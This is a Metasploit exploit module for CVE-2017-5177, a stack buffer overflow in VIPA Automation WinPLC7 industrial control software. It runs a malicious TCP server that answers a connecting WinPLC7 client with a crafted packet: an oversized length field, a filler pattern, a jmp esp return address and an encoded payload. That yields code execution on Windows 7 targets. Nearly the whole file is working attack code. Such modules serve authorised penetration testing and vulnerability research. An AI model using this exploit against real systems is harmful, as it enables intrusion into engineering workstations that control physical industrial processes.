require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::TcpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack based buffer overflow found in VIPA
                Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
                WinPLC7 connects to a remote server and accepts a malicious packet.
                The first 2 bytes of this packet are read in and used as the size
                value for a later recv function.  If a size value of sufficiently
                large size is supplied a stack buffer overflow will occur
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'ZDI', '17-112' ],
                    [ 'CVE', '2017-5177' ],
                    [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "",
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows 7 EN', 
                            {
                                # ws7v5.exe
                                # jmp esp
                                'Ret' => 0x00422354
                            } 
                    ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Feb 28 2017'))
 
        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
            ], self.class)
    end
 
    def on_client_data(client)
        p = payload.encoded
 
        pkt =  "\x13\x88\x00\x00\x00"   # len
        pkt += Rex::Text.pattern_create(5000)
 
        pkt[848, 4] = [target.ret].pack('V')
        pkt[852, p.length] = p
 
        client.put(pkt)
        handler
        service.close_client(client)
    end
 
end